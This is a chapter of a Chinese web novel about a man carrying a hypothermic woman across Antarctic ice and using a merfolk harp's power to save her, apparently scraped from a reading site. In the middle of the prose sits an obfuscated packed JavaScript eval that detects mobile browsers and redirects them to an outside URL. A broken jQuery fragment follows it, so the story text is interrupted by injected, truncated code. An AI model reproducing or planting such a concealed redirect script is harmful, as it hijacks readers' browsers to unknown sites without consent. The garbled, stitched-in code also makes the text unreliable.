50. 第一个梦

作品:《是飞鸟还是游鱼[现代穿越]

    风雪时断时续。


    温渟看着前方,零星的雪打在脸上,前面是雪,只有雪,还有冰川,灰橙色的天空。


    他徒然生出一种永远走不出去的绝望。


    温渟走得极慢。


    身上能保暖的衣物不多了,他也越来越冷,向前走的步子也机械化。尤其是刚才,他以为自己是眨了一下眼睛,可再睁眼,脑子模糊起来,自己刚才又像是睡着又像是晕过去。


    总之,思维断档了。


    他停在原地,使劲摇晃了头,又把往下滑的秋似月往身上掂了掂。


    “……温渟。你把我放下来吧。”


    身后传来细若蚊蝇的声音。


    秋似月偶尔清醒过来,意识到自己在温渟背上。思绪时断时续,她也清楚,自己的低体温症已经由轻度转为中度。


    再不及时复温,恐怕不出一小时,她就会死。


    她也抬头。目之所及雪原苍茫,世界好寂静。她记得让营地的人给她留盏灯的。可前方,没有一丝光亮。


    极地求生,本就残酷。她低头,把头窝进温渟后面的脖颈处,泪水滑落。


    能得一人这样对她,已经足够了。


    她说,“温渟……可以了。走到现在。已经可以了。把我放下来吧。”


    温渟不答。


    他笑着歪歪脖子,侧眼看她,拔高音量,“你醒啦。那别睡了。诶我跟你说,之前你们人类都说开车的司机容易犯困,我这次终于体会到了……你不和我说话,我走着走着都要睡着了。”


    她放任自己的泪一滴滴落在温渟的肩上。


    她哭道,“温渟……坚持到现在,已经足够了。你已经背我走了三个小时了……我知道你不想丢下我,我已经体验过被人坚持选择的滋味了。


    ”这一生也没什么遗憾了。”


    这是她的真心话。


    被拐卖之前的记忆已经不清晰了。第一任养父母死亡后,她被村民赶出村子。秋既成夫妇看她不听话,从她身上也拿不到太多好处,和她来往也变少。


    后来看到小企鹅被母亲抛弃。她当时反应激烈,可后面清醒过来,也觉得,如果被人坚定的选择,那是幸运。如果没有,那才是日常。


    所以她已经足够幸运了。


    在意识飞走之前,她想把话说完。


    “再过半小时……如果还没找到营地,就请你放在路边吧。我不会怪你。我死已经是定局,但你不是。一个人死总比两个人一起强……”


    “我觉得你对坚持的概念有些误解。”温渟声音平静,打断她。


    他咬咬牙,不知道是不是被她激得,身上突然来了劲儿。他使劲把她往上掂了几下,箍得她意识模糊都感觉被捏得有些痛。说出的话也不容拒绝。


    “坚持不到最后一秒,那是个狗屁的坚持。”


    这句话她只听到个尾音,意识又再次昏沉了。她隐约中好像回到了莲沧,抬头前方有月光顺着窗透进来,柔和明亮。她还是趴在一个人温暖的脊背上,那人背着她爬楼梯,喘息的厉害,说着“秋似月,你活在别人的关注下吗”,“他们算老几”。


    她无比满足地笑了。原来有些事情在一早就有了端倪。


    “温渟……你收到我的信了吗……”


    说完这句,她又没了声息。温渟正等着下文,可她再张口,说得内容风马牛不相及。


    “……姐,我当初应该早点把你送过去的。我当时就犹豫了一会……就一小会。”


    “当初就差一点点……死而复生的实验就能成功了。”


    “但是如果你真复活。会不会害怕,会不会怪我啊。”


    “我也不知道。”


    风雪中声音模糊,温渟听到了大部分的话,可实在无法理解。他索性转过头,专注看向前方。


    抛下她?在她说起之前,这念头从未出现过。那从来不是一个选项。


    他要怀疑什么,也只是在想是不是他判断错了,选错了路。起码走有痕迹的那一边……看到人的可能性很高。


    但换个角度想,如果他们再次遇到景娴,她会救他们吗?


    得了吧。景娴不踩他们一脚就不错了。


    他苦笑了一声。被景娴抛下以后,他就很难保持乐观。


    **


    温渟已经确定自己选错了路。


    他站在一个小房子面前。


    那并不是基站,他背着秋似月推门进去,一股尘封已久的寒冽之气扑面而来。房屋内部很空荡,他有听秋似月讲过,南极有许多废弃的站点,这恐怕就是其中之一。


    里面有一个上下铺的铁架子床。温渟把秋似月放在上面,给她盖好外套,打量起这间屋子。墙壁锈迹斑斑,看起来许久没人来过。是啊,它所在的位置并不好,旁边是被融水带不停冲刷过的低洼冰河,谁知道这底下是不是一块会漂移的大陆。


    秋似月曾经给他讲过一个关于南极的爱情故事。


    那是本小说,两个互看不顺眼的人意外在南极遇险后绝处逢生。故事情感太细腻,温渟听到秋似月讲,男女主角坠机在南极,为了寻找生机,男人每天必须步行出去寻找国家的极光站,寻求救援。但他没有任何装备,雪盲症屡次发作,羞涩的女人解下了自己的黑色内衣,给男人当做“雪地护目镜”。


    他突然讽刺地笑了声。当初听的时候,竟然只惊叹于绝境中滋生的感情。如今自己落到这境地,温渟觉得只剩下恐怖,现实只有绝望,走不完的路,永远到达不了的目的地。


    活下来只存在于小说里。


    如果最后两人不得不一起死去,也好。只是为了让自己死的甘心,他现在还不能放弃。


    他开始翻箱倒柜,试图给秋似月找些吃的。桌子周边零星扔着几个罐头,已经吃空了,一个仓库模样的小房间内空空如也,外面的发电机也锈的厉害,这屋子一点暖和气也见不到,只起到一个遮挡风雪的作用。


    啪嗒一声。


    温渟突然生气,将地上的几个罐头踢飞,狠狠泄愤,怒吼了几声,这该死的运气。他重重地坐下,椅子受到重创,将桌下的一个铁罐头挤飞,又落地,发出咔嚓嚓的响声。


    他闻到了肉的腥气。


    他微微转头。虽然所有的罐头都开了口,可桌子上的罐头无一不是边缘明亮,崭新,像是刚被开过不久。温渟一惊,转头看向地上,罐头盖和老旧斑驳的墙壁一般,口面之上都覆盖了锈迹。


    这里不久前有人来过?


    这念头惊得他立刻站起身。他开始回想自己跟随摄影队到过的每一个地方……也遇到过废弃的基站,但是他们有在这里吃过东西吗?


    似乎没有。


    景娴。景娴可能到过这里。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16641941|181792||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可这念头只明亮了一秒,又灭了。他又颓丧地坐回了椅子,脑子清醒的可怕——景娴到过这里又有什么用。


    他们还是要赶紧回到基站。


    短暂休整过后,他背着秋似月,走过旁边那片低洼地。


    极夜下的蓝冰凛然不动,泛着妖异的危险色泽。他依稀觉得,自己和秋似月已经一同闯入阴曹地府。


    他僵硬地转着脖子。融水带旁边有一些森森白骨。其中有一处体型巨大,实在瞩目。


    那肯定不是普通的小鱼小虾。原来巨大的生物也会死在这绝望的地方,留下森森白骨。他一条渺小的鱼,还有背上这人类的性命,脆弱,再正常不过。


    只是不甘心。


    他轻轻回头,她还在嗫嚅着嘴巴嘟囔着什么。她在梦里和姐姐短暂相见,很幸福。他听到她提起他,说她在虎鲸馆后门躲着的时候,听到温渟给企鹅抗吃的累得吃瘪,她在门后差点笑出声。


    他也缓缓微笑,和背上这人美好的瞬间太少。


    眼眶又开始发热。


    呼呼的风声刮过面庞。白骨森森,让他想起一件飘远的事情。


    这么大的骨架,应该是鲸的。


    鲸鱼母亲拜托的事情言犹在耳,此刻他应该用灵力去测这鲸骨架的来处才对。可这念头才闪过,又无奈地笑了。


    他现在哪还有什么灵力。如果有灵力,他和秋似月断不会一同走向绝路。


    不对。


    他还有。


    一道念头炸开来。他手伸进衣物,飞快地拽出什么,扯出他的伴生竖琴。


    七弦竖琴。黄铜色的外表,拥有他最原始的灵力。即使没有光,也在黑暗中闪着金属光泽。


    人鱼族出生时都有一物伴生,形状各异,天地赋灵于其上。人鱼族出生寿命恒长,不免会遇到难关,这伴生物可行逆天之事相助,只是有限度。


    他竟然把这个忽略了。只因他是被桐因刚转化为人鱼不久,和这东西不熟。这一刻他才发现造物主的偏心,他们拥有这等逆转之物,能扭转生机。


    他攥紧了这竖琴。


    视线之下,左侧是森森白骨,右侧是弓着身子的秋似月。转化成人鱼时,桐因特意强调过,这一根弦只能行一次逆天之事。


    他有七次机会。


    听起来很多,可前路漫漫。白骨这里他还可以再回来探查,如果秋似月活下去需要七次机会……


    他更想要她活。他只能更谨慎。


    他手指拨在琴弦之上。


    铮——


    惊心的声响过后,铺天盖地的痛从四面八方袭来,温渟骤然弓起身子——


    身上的每个器官都像在泣血。


    痛,好痛……每一秒都被放大,延长……血,满眼是红,粘稠的红色,摊开,化掉,蔓延……身体里大大小小的器官,他知道的不知道的,一个个都炸开,每一个都存在感极强……真的可以这么痛吗……


    好像快要痛死了。


    幸好疼痛有尽头。


    疼痛感还在收束。


    他感觉到有部分灵力涌入了身体。他狂喜,身上还在疼,他却顾不得了。他握住秋似月的手,一股股暖流传输进去,直到她身子软了一些。


    没时间继续等。


    温渟挣扎着身子起身,再次将秋似月背在身上,继续向前走。